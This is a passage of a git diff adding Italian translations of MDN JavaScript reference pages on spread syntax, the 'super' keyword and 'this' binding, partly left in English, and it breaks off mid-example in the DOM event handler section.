+// ["head", "shoulders", "knees", "and", "toes"]
+</pre>
+
+<p>Just like spread for argument lists, <code>...</code> can be used anywhere in the array literal and it can be used multiple times.</p>
+
+<h4 id="Copiare_un_array">Copiare un array</h4>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+var arr2 = [...arr]; // like arr.slice()
+arr2.push(4);
+
+// arr2 becomes [1, 2, 3, 4]
+// arr remains unaffected
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> La spread syntax diventa effettivamente un livello profondo durante la copia di un array. Pertanto, potrebbe non essere adatto per copiare arrau multidimensionali come mostra il seguente esempio (è lo stesso con {{jsxref("Object.assign()")}} e spread syntax).</p>
+</div>
+
+<pre class="brush: js">var a = [[1], [2], [3]];
+var b = [...a];
+b.shift().shift(); // 1
+// Adesso anche l'array a è influenzato: [[], [2], [3]]
+</pre>
+
+<h4 id="Un_modo_migliore_per_concatenare_gli_array">Un modo migliore per concatenare gli array</h4>
+
+<p>{{jsxref("Array.prototype.concat()")}} è spesso usato per concatenare un array alla fine di un array esistente. Senza la spread syntax questo è fatto così:</p>
+
+<pre class="brush: js">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+// Append all items from arr2 onto arr1
+arr1 = arr1.concat(arr2);</pre>
+
+<p>Con la spread syntax questo diventa:</p>
+
+<pre class="brush: js">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+arr1 = [...arr1, ...arr2]; // arr1 is now [0, 1, 2, 3, 4, 5]
+</pre>
+
+<p>{{jsxref("Array.prototype.unshift()")}} è spesso usato per inserire un array di valori all'inizio di un array esistente. Senza la spread syntax questo è fatto così:</p>
+
+<pre class="brush: js">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+// Spostare all'inizio tutti gli elementi da arr2 a arr1
+Array.prototype.unshift.apply(arr1, arr2) // arr1 ora è [3, 4, 5, 0, 1, 2]</pre>
+
+
+
+<p>Con la spread syntax questo diventa:</p>
+
+
+
+<pre class="brush: js">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+arr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2]
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: A differenza di <code>unshift()</code>, questo crea un nuovo <code>arr1</code>, e non modifica l'array originale <code>arr1</code>.</p>
+</div>
+
+<h3 id="Spread_in_object_literals">Spread in object literals</h3>
+
+<p>The <a href="https://github.com/tc39/proposal-object-rest-spread">Rest/Spread Properties for ECMAScript</a> proposal (stage 4) adds spread properties to <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object literals</a>. It copies own enumerable properties from a provided object onto a new object.</p>
+
+<p>Lo Shallow-cloning (escluso il prototipo) o fusione di oggetti è ora possibile usando una sintassi più breve di {{jsxref("Object.assign()")}}.</p>
+
+<pre class="brush: js">var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+
+var clonedObj = { ...obj1 };
+// Object { foo: "bar", x: 42 }
+
+var mergedObj = { ...obj1, ...obj2 };
+// Object { foo: "baz", x: 42, y: 13 }</pre>
+
+<p>Nota che {{jsxref("Object.assign()")}} attiva i <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setters</a> mentre la spread syntax non lo fa.</p>
+
+<p>Nota che non è possibile sostituire o imitare la funzione {{jsxref("Object.assign()")}}:</p>
+
+<pre class="brush: js">var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+const merge = ( ...objects ) =&gt; ( { ...objects } );
+
+var mergedObj = merge ( obj1, obj2);
+// Object { 0: { foo: 'bar', x: 42 }, 1: { foo: 'baz', y: 13 } }
+
+var mergedObj = merge ( {}, obj1, obj2);
+// Object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } }</pre>
+
+<p>Nell'esempio precedente, la spread syntax non funziona come previsto: estende una serie di argomenti nel letterale dell'oggetto, a causa del parametro rest.</p>
+
+<h3 id="Solo_per_iterabili">Solo per iterabili</h3>
+
+<p>La spread syntax (diversa dal caso delle spread properties) può essere applicata solo agli oggetti <a href="/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator">iterabili</a>:</p>
+
+<pre class="brush: js">var obj = {'key1': 'value1'};
+var array = [...obj]; // TypeError: obj non è iterabile
+</pre>
+
+<h3 id="Diffusione_con_molti_valori">Diffusione con molti valori</h3>
+
+<p>Quando si utilizza la sintassi di diffusione per le chiamate di funzione, tenere presente la possibilità di superare il limite di lunghezza dell'argomento del motore JavaScript. Vedi {{jsxref("Function.prototype.apply", "apply()")}} per maggiori dettagli.</p>
+
+<h2 id="Rest_syntax_(parametri)">Rest syntax (parametri)</h2>
+
+<p>La Rest syntax sembra esattamente come la spread syntax, ma è usata per destrutturare array e oggetti. In un certo senso, la Rest syntax è l'opposto della spread syntax: spread 'espande' un array nei suoi elementi, mentre la rest syntax raccoglie più elementi e li 'condensa' in un singolo elemento. Vedi <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">rest parameters.</a></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array-initializer')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definito in diverse sezioni della specifica: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-array-initializer">Array Initializer</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-argument-lists">Argument Lists</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2018', '#sec-object-initializer')}}</td>
+   <td>{{Spec2('ES2018')}}</td>
+   <td>Definito in <a href="http://www.ecma-international.org/ecma-262/9.0/#sec-object-initializer">Object Initializer</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array-initializer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Nessun cambiamento.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object-initializer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Nessun cambiamento.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("javascript.operators.spread")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">Rest parameters</a> (anche ‘<code>...</code>’)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">fn.apply</a> (anche ‘<code>...</code>’)</li>
+</ul>
diff --git a/files/it/web/javascript/reference/operators/super/index.html b/files/it/web/javascript/reference/operators/super/index.html
new file mode 100644
index 0000000000..aee5f694b1
--- /dev/null
+++ b/files/it/web/javascript/reference/operators/super/index.html
@@ -0,0 +1,181 @@
+---
+title: super
+slug: Web/JavaScript/Reference/Operators/super
+translation_of: Web/JavaScript/Reference/Operators/super
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>La parola chiave <strong>super</strong> viene usata per chiamare le funzioni dell'oggetto padre.</p>
+
+<p>Il <code>super.prop</code> ed espressioni con <code>super[expr]</code> sono valide in ogni  <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">definizione di metodo</a> sia nelle <a href="/en-US/docs/Web/JavaScript/Reference/Classes">classi</a> e <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">oggetti literals</a>.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">super([arguments]); // chiama il costruttore padre.
+super.functionOnParent([arguments]);
+</pre>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Quando viene usata in un costruttore, la parola chiave <code>super</code> deve essere usata prima della parola chiave <code>this</code>. La parola chiave <code>super</code> può essere usata anche per chiamare funzioni dell'oggetto padre.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<h3 id="Usare_super_nelle_classi">Usare <code>super</code> nelle classi</h3>
+
+<p>Questo pezzo di codice è preso da <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">classes sample</a> (<a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a>). <code>super</code> è chiamato per evitare la duplicazione del codice comune ad entrambi i costruttori <code>Rectangle</code> e <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Square</span></font>.</p>
+
+<pre class="brush: js">class Polygon {
+  constructor(height, width) {
+    this.name = 'Polygon';
+    this.height = height;
+    this.width = width;
+  }
+  sayName() {
+    console.log('Hi, I am a ', this.name + '.');
+  }
+}
+
+class Square extends Polygon {
+  constructor(length) {
+    this.height; // ReferenceError, super deve essere chiamato per primo!
+
+    // Chiama il costruttore della classe padre
+    super(length, length);
+
+    // Nota: Nelle classi derivate super() deve essere chiamato prima
+    // dell'uso di 'this'.
+    this.name = 'Square';
+  }
+
+  get area() {
+    return this.height * this.width;
+  }
+
+  set area(value) {
+    this.area = value;
+  }
+}</pre>
+
+<h3 id="Usare_super_con_metodi_statici">Usare <code>super</code> con metodi statici</h3>
+
+<p>Puoi usare super anche chiamare metodi <a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">statici</a>.</p>
+
+<pre class="brush: js"><code>class Rectangle {
+  constructor() {}
+  static logNbSides() {
+    return 'I have 4 sides';
+  }
+}
+
+class Square extends Rectangle {
+  constructor() {}
+  static logDescription() {
+    return super.logNbSides() + ' which are all equal';
+  }
+}
+Square.logDescription(); // 'I have 4 sides which are all equal'</code></pre>
+
+<h3 id="Cancellare_una_proprietà_del_super_causa_eccezione">Cancellare una proprietà del super causa eccezione</h3>
+
+<p>Non puoi cancellare una proprietà della classe padre usando l' <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">operatore delete</a> e <code>super.prop</code> o <code>super[esperssione]</code>, questo causerà un {{jsxref("ReferenceError")}}.</p>
+
+<pre class="brush: js">class Base {
+  constructor() {}
+  foo() {}
+}
+class Derived extends Base {
+  constructor() {}
+  delete() {
+    delete super.foo;
+  }
+}
+
+new Derived().delete(); // ReferenceError: uso della delete con 'super'. </pre>
+
+<h3 id="Super.prop_non_può_sovrascrivere_proprietà_non_scrivibili"><code>Super.prop</code> non può sovrascrivere proprietà non scrivibili</h3>
+
+<p>Quando si definisce una proprietà non riscrivibile con ad esempio {{jsxref("Object.defineProperty")}}, <code>super</code> non può modificarne il valore.</p>
+
+<pre class="brush: js"><code>class X {
+  constructor() {
+    Object.defineProperty(this, 'prop', {
+      configurable: true,
+      writable: false,
+      value: 1
+    });
+  }
+}
+
+class Y extends X {
+  constructor() {
+    super();
+  }
+  foo() {
+    super.prop = 2;   // Non posso sovrascrivere il valore.
+  }
+}
+
+var y = new Y();
+y.foo(); // TypeError: "prop" is read-only
+console.log(y.prop); // 1</code></pre>
+
+<h3 id="Uso_di_super.prop_in_oggetti_literals">Uso di <code>super.prop</code> in oggetti literals</h3>
+
+<p>Super può essere utilizzato anche nella <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">initializzazione di oggetti</a> con notazione letterale. In questo esempio, due oggetti definiscono un metodo. Nel secondo oggetto, <code>super</code> chiama il metodo del primo oggetto. Questo funziona grazie all'aiuto di {{jsxref("Object.setPrototypeOf()")}} con cui siamo in grado di impostare il prototipo di <code>obj2</code> con l'oggetto <code>obj1</code>, in modo che <code>super</code> sia in grado di trovare <code>method1</code> in <code>obj1</code>.</p>
+
+<pre class="brush: js">var obj1 = {
+  method1() {
+    console.log("method 1");
+  }
+}
+
+var obj2 = {
+  method2() {
+   super.method1();
+  }
+}
+
+Object.setPrototypeOf(obj2, obj1);
+obj2.method2(); // logs "method 1"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-super-keyword', 'super')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-super-keyword', 'super')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibili">Browser compatibili</h2>
+
+<p>{{Compat("javascript.operators.super")}}</p>
+
+<div id="compat-desktop"></div>
+
+<h2 id="Gecko_specific_notes">Gecko specific notes</h2>
+
+<ul>
+ <li><code>super()</code> non funziona come previsto in prototipi built-in.</li>
+</ul>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classi</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/operators/this/index.html b/files/it/web/javascript/reference/operators/this/index.html
new file mode 100644
index 0000000000..cd324d2bcf
--- /dev/null
+++ b/files/it/web/javascript/reference/operators/this/index.html
@@ -0,0 +1,410 @@
+---
+title: this
+slug: Web/JavaScript/Reference/Operators/this
+translation_of: Web/JavaScript/Reference/Operators/this
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>La <strong>keyword</strong> <strong>di</strong> <strong>funzione <code>this</code> </strong>si comporta in modo leggermente differente in JavaScript rispetto ad altri linguaggi. Esistono inoltre alcune differenze tra <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">strict mode</a> e non-strict mode.</p>
+
+<p>Nella maggior parte dei casi, il valore di <code>this</code> è determinato da come la funzione viene invocata (chiamata). Il valore di <code>this</code> non può essere impostato per assegnamento durante l'esecuzione, e potrebbe essere differente ogni volta in cui la funzione viene chiamata. ES5 ha introdotto il metodo <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bind</a></code> per <a href="#The_bind_method">impostare il valore di <code>this</code> indipendentemente da come la funzione è invocata</a>. ECMAScript 2015 ha introdotto <a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Functions/Arrow_functions">le funzione a freccia ( arrow function )</a>, in cui la keyword <code>this </code>viene lessicalmente incorporata nello <em>scope</em> corrente ( <code>lo scope </code>del contesto di esecuzione relativo al blocco corrente<code> ). </code></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">this</pre>
+
+<h2 id="Contesto_Globale">Contesto Globale</h2>
+
+<p>Nel contesto di esecuzione globale (fuori da qualsiasi funzione), <code>this</code> si riferisce all'oggetto globale, sia che ci si trovi in strict mode,  sia che ci si trovi in non-strict mode.</p>
+
+<pre class="brush:js">console.log(this.document === document); // true
+
+// In web browsers, the window object is also the global object:
+console.log(this === window); // true
+
+this.a = 37;
+console.log(window.a); // 37
+</pre>
+
+<h2 id="Contesto_di_funzione">Contesto di funzione</h2>
+
+<p>All'interno di una funzione, il valore di <code>this</code> dipende da come la funzione è invocata.</p>
+
+<h3 id="Chiamata_semplice">Chiamata semplice</h3>
+
+<pre class="brush:js">function f1(){
+  return this;
+}
+
+f1() === window; // global object
+</pre>
+
+<p>In questo caso, il valore di <code>this</code> non viene impostato dalla chiamata. Visto che il codice non è in strict mode, il valore di <code>this</code> deve sempre essere un oggetto quindi viene impostato di default sull'oggetto globale.</p>
+
+<pre class="brush:js">function f2(){
+  "use strict"; // see strict mode
+  return this;
+}
+
+f2() === undefined;
+</pre>
+
+<p>In strict mode, il valore di <code>this</code> rimane impostato sul valore definito al momento dell'ingresso nel contesto di esecuzione. Se non è definito, resta undefined. Può anche essere impostato a qualsiasi valore, come <code>null</code> o <code>42</code> o <code>"I am not this"</code>.</p>
+
+<div class="note"><strong>Nota:</strong> Nel secondo esempio, <code>this</code> dovrebbe essere <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a>, perchè <code>f2</code> viene invocata senza specificare alcuna base (per esempio, <code>window.f2()</code>). Alcuni browser non hanno implementato questo orientamento, quando hanno deciso di supportare lo <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="Strict mode">strict mode</a>. Come risultato, questi browser restituivano, in modo non corretto, l'oggetto <code>window</code>.</div>
+
+<h3 id="Funzioni_Arrow">Funzioni Arrow</h3>
+
+<p>Nelle <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">funzioni arrow</a>, <code>this</code> è assegnato lessicalmente, assume cioè il valore del contesto di esecuzione che contiene <code>this.</code> In codice globale punta all'oggetto globale:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> globalObject <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> foo <span class="operator token">=</span> <span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">&gt;</span> <span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="function token">foo</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">===</span> globalObject<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// true</span></code></pre>
+
+<p>Non importa come <code>foo</code> sia invocato, <code>this</code> punterà all'oggetto globale. Questo è ancora valido se è chiamato come metodo di un oggetto (che solitamente punterebbe il valore di <code>this</code> sullo stesso) tramite chiamate dei metodi <code>call</code> o <code>apply</code> o <code>bind</code></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// Call as a method of an object</span>
+<span class="keyword token">var</span> obj <span class="operator token">=</span> <span class="punctuation token">{</span>foo<span class="punctuation token">:</span> foo<span class="punctuation token">}</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>obj<span class="punctuation token">.</span><span class="function token">foo</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">===</span> globalObject<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// true</span>
+
+<span class="comment token">// Attempt to set this using call</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>foo<span class="punctuation token">.</span><span class="function token">call</span><span class="punctuation token">(</span>obj<span class="punctuation token">)</span> <span class="operator token">===</span> globalObject<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// true</span>
+
+<span class="comment token">// Attempt to set this using bind</span>
+foo <span class="operator token">=</span> foo<span class="punctuation token">.</span><span class="function token">bind</span><span class="punctuation token">(</span>obj<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="function token">foo</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">===</span> globalObject<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// true</span></code></pre>
+
+<p>in ogni caso il valore di this all'interno di foo è impostato al valore di quando è stato creato (nell'esempio di sopra, l'oggetto globale). Lo stesso si applica per funzioni arrow create all'interno di altre funzioni: il loro valore di this è impostato a quello del contesto di esecuzione esterno.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// Create obj with a method bar that returns a function that</span>
+<span class="comment token">// returns its this. The returned function is created as </span>
+<span class="comment token">// an arrow function, so its this is permanently bound to the</span>
+<span class="comment token">// this of its enclosing function. The value of bar can be set</span>
+<span class="comment token">// in the call, which in turn sets the value of the </span>
+<span class="comment token">// returned function.</span>
+<span class="keyword token">var</span> obj <span class="operator token">=</span> <span class="punctuation token">{</span> bar <span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+                    <span class="keyword token">var</span> x <span class="operator token">=</span> <span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">&gt;</span> <span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+                    <span class="keyword token">return</span> x<span class="punctuation token">;</span>
+                  <span class="punctuation token">}</span>
+          <span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Call bar as a method of obj, setting its this to obj</span>
+<span class="comment token">// Assign a reference to the returned function to fn</span>
+<span class="keyword token">var</span> fn <span class="operator token">=</span> obj<span class="punctuation token">.</span><span class="function token">bar</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Call fn without setting this, would normally default</span>
+<span class="comment token">// to the global object or undefined in strict mode</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="function token">fn</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">===</span> obj<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// true</span></code></pre>
+
+<p>Nel codice sopra, la funzione (chiamiamola funzione anonima A) assegnata a obj.bar restituisce un altra funzione (chiamiamola funzione anonima B) che viene creata come funzione arrow. Il risultato, è che this della funzione B è impostata permanentemente al valore di this di obj.bar (funzione A) quando viene chiamata. quando la funzione restituita (B) viene chiamata, il relativo this sarà sempre impostato al valore di partenza. Nel codice di esempio  il this della funzione B è impostato al valore this della funzione A che è obj, pertanto resta impostato ad obj anche quando viene chiamato in un modo che imposterebbe this come undefined od oggetto globale (o qualunque altro metodo, come nel precedente esempio, nel contesto di esecuzione globale).</p>
+
+<p>In the above, the function(call it anonymous function A) assigned to <code>obj.bar</code> returns another function(call it anonymous function B) that is created as an arrow function. As a result, function B's  <code>this</code> is permanently set to the <code>this</code> of <code>obj.bar</code> (function A)when called. When the returned function(function B) is called, its <code>this</code> will always be what it was set to initially. In the above code example, function B's <code>this</code> is set to function A's <code>this</code> which is obj, so it remains set to <code>obj</code> even when called in a manner that would normally set its <code>this</code> to <code>undefined</code> or the global object (or any other method as in the previous example in the global execution context).</p>
+
+<h3 id="Come_metodo_di_un_oggetto">Come metodo di un oggetto</h3>
+
+<p>Quando una funzione viene invocata come metodo di un oggetto, il <code>this</code>, all'interno della funzione, viene impostato sull'oggetto di cui la funzione è metodo.</p>
+
+<p>Nell'esempio seguente, quando <code>o.f()</code> viene invocata, all'interno della funzione <code>this</code> è associato all'oggetto <code>o</code>.</p>
+
+<pre class="brush:js">var o = {
+  prop: 37,
+  f: function() {
+    return this.prop;
+  }
+};
+
+console.log(o.f()); // logs 37
+</pre>
+
+<p>Da notare che questo comportamento non è per nulla influenzato dal come e dal dove la funzione sia stata definita. Nell'esempio precedente, abbiamo definito la funzione inline, come membro <code>f</code>, nel corso della definizione di <code>o</code>. Tuttavia, avremmo potuto facilmente definire la funzione prima, per poi associarla a <code>o.f</code>. Il risultato sarebbe stato lo stesso:</p>
+
+<pre class="brush:js">var o = {prop: 37};
+
+function independent() {
+  return this.prop;
+}
+
+o.f = independent;
+
+console.log(o.f()); // logs 37
+</pre>
+
+<p>Questo dimostra che la cosa più importante è che la funzione venga invocata dal membro<code> f</code> di <code>o</code>.</p>
+
+<p>In modo analogo, l'associazione di <code>this</code> è influenzata solo dal membro più vicino. Nell'esempio seguente, quando invochiamo la funzione, la invochiamo come metodo <code>g</code> dell'oggetto <code>o.b</code>. Questa volta, durante l'esecuzione, <code>this</code>, all'interno della funzione, sarà associata ad <code>o.b</code>. Il fatto che l'oggetto sia, esso stesso, un membro di <code>o</code> non ha alcuna conseguenza; la sola cosa che conti è il riferimento più immediato.</p>
+
+<pre class="brush:js">o.b = {g: independent, prop: 42};
+console.log(o.b.g()); // logs 42
+</pre>
+
+<h4 id="this_nella_prototype_chain_dell'oggetto"><code>this</code> nella prototype chain dell'oggetto</h4>
+
+<p>La stessa notazione è valida per i metodi definiti altrove nella prototype chain dell'oggetto. Se il metodo è sulla prototype chain di un oggetto, <code>this</code> si riferisce all'oggetto su cui il metodo è stato chiamato, come se il metodo appartenesse all'oggetto.</p>
+
+<pre class="brush:js">var o = {f:function(){ return this.a + this.b; }};
+var p = Object.create(o);
+p.a = 1;
+p.b = 4;
+
+console.log(p.f()); // 5
+</pre>
+
+<p>in questo esempio, l'oggetto assegnato alla variabile <code>p</code> non ha definita una proprietà <code>f</code>, la eredita dal suo prototipo. Non ha importanza che il controllo per <code>f</code> trovi eventualmente un membro con quel nome in <code>o</code>; il controllo è cominciato con un riferimento a <code>p.f</code>, quindi this all'interno della funzione assume il valore dell'oggetto a cui <code>p</code> si riferisce. Cioè, dal momento che <code>f</code> è chiamata come metodo di <code>p</code>, la parola chiave <code>this</code> al suo interno si riferisce a <code>p</code>. Questa è una interessante caratteristica dell'ereditarietà dei prototipi di javascript.</p>
+
+<h4 id="this_all'interno_di_metodi_getter_o_setter"><code>this</code> all'interno di metodi getter o setter</h4>
+
+<p>Ancora, la stessa notazione è valida quando una funzione è invocata all'interno di metodi get o set. In una funzione usata come getter o setter <code>this</code> viene collegata all'oggetto dal quale la proprietà è settata o ricavata.</p>
+
+<pre class="brush:js">function modulus(){
+  return Math.sqrt(this.re * this.re + this.im * this.im);
+}
+
+var o = {
+  re: 1,
+  im: -1,
+  get phase(){
+    return Math.atan2(this.im, this.re);
+  }
+};
+
+Object.defineProperty(o, 'modulus', {
+    get: modulus, enumerable:true, configurable:true});
+
+console.log(o.phase, o.modulus); // logs -0.78 1.4142
+</pre>
+
+<h3 id="Come_costruttore">Come costruttore</h3>
+
+<p>Quando una funzione è usata come un costruttore (tramite la parola chiave <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code>), <code>this</code> è collegata al nuovo oggetto che viene costruito.</p>
+
+<p>Nota: mentre di default un costruttore restituisce l'oggetto riferenziato da <code>this</code>, può invece restituire qualche altro oggetto (se il valore di ritorno non è un oggetto, allora viene restituito l'oggetto <code>this</code>).</p>
+
+<pre class="brush:js">/*
+ * Constructors work like this:
+ *
+ * function MyConstructor(){
+ *   // Actual function body code goes here.
+ *   // Create properties on |this| as
+ *   // desired by assigning to them.  E.g.,
+ *   this.fum = "nom";
+ *   // et cetera...
+ *
+ *   // If the function has a return statement that
+ *   // returns an object, that object will be the
+ *   // result of the |new| expression.  Otherwise,
+ *   // the result of the expression is the object
+ *   // currently bound to |this|
+ *   // (i.e., the common case most usually seen).
+ * }
+ */
+
+function C(){
+  this.a = 37;
+}
+
+var o = new C();
+console.log(o.a); // logs 37
+
+
+function C2(){
+  this.a = 37;
+  return {a:38};
+}
+
+o = new C2();
+console.log(o.a); // logs 38
+</pre>
+
+<p>Nell'ultimo esempio <code>(C2)</code>, dal momento che è stato restituito un oggetto durante la costruzione, il nuovo oggetto a cui <code>this</code> era collegato viene semplicemente scartato. (Questo rende essenzialmente l'assegnazione "<code>this.a = 37;</code>" codice inutile. Non lo è in senso stretto, in quanto viene eseguito, ma può essere eliminato senza conseguenze).</p>
+
+<h3 id="I_metodi_call_e_apply">I metodi <code>call</code> e <code>apply</code></h3>
+
+<p>Dove una funzione usa la parola chiave <code>this</code>, il suo valore può essere collegato ad un qualsivoglia oggetto nella chiamata usando i metodi <code><a href="/it/docs/">call</a></code> o <code><a href="/it/docs/">apply</a></code><a href="/it/docs/"> </a>che tutte le funzioni ereditano da <code>Function.prototype</code>.<a href="/it/docs/"> </a></p>
+
+<pre class="brush:js">function add(c, d){
+  return this.a + this.b + c + d;
+}
+
+var o = {a:1, b:3};
+
+// The first parameter is the object to use as
+// 'this', subsequent parameters are passed as
+// arguments in the function call
+add.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16
+
+// The first parameter is the object to use as
+// 'this', the second is an array whose
+// members are used as the arguments in the function call
+add.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34
+</pre>
+
+<p>Notare che con <code>call</code> e <code>apply</code>, se il valore passato tramite <code>this</code> non è un oggetto, viene eseguito un tentativo di convertire tale valore in oggetto usando l'operazione interna <code>ToObject</code>. pertanto, se il valore passato è un primitivo come 7 o 'foo', questo verrà convertito ad <code>Object</code> usando il relativo costruttore, quindi il valore primitivo <code>7</code> viene convertito  come <code>new</code> <code>Number(7)</code> e la stringa <code>'foo'</code> viene convertita come <code>new String('foo')</code>, per esempio:</p>
+
+<pre class="brush:js">function bar() {
+  console.log(Object.prototype.toString.call(this));
+}
+
+bar.call(7); // [object Number]
+</pre>
+
+<h3 id="Il_metodo_bind">Il metodo <code>bind</code></h3>
+
+<p>ECMAScript 5 ha introdotto <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind</a></code>. Chiamare <code>f.bind(someObject)</code> crea una nuova funzione con lo stesso corpo e visibità di <code>f,</code> ma nella funzione originale si trova la parola chiave <code>this</code>, nella nuova funzione viene permanentemente collegato al primo argomento passato alla chiamata del metodo <code>bind</code>, ignorando come la funzione stessa venga usata. </p>
+
+<pre class="brush:js">function f(){
+  return this.a;
+}
+
+var g = f.bind({a:"azerty"});
+console.log(g()); // azerty
+
+var o = {a:37, f:f, g:g};
+console.log(o.f(), o.g()); // 37, azerty
+</pre>
+
+<h3 id="Come_handler_degli_eventi_del_DOM">Come handler degli eventi del DOM</h3>
+
+<p>Quando una funzione viene usata come handler di eventi, i suoi riferimenti <code>this</code> sono puntati all'elemento che ha originato l'evento (alcuni Browser non seguono queste convenzioni per i listeners agguinti dinamicamente tramite metodi diversi da <code>addEventListener</code>).</p>
+
+<pre class="brush:js">// When called as a listener, turns the related element blue
+function bluify(e){
+  // Always true
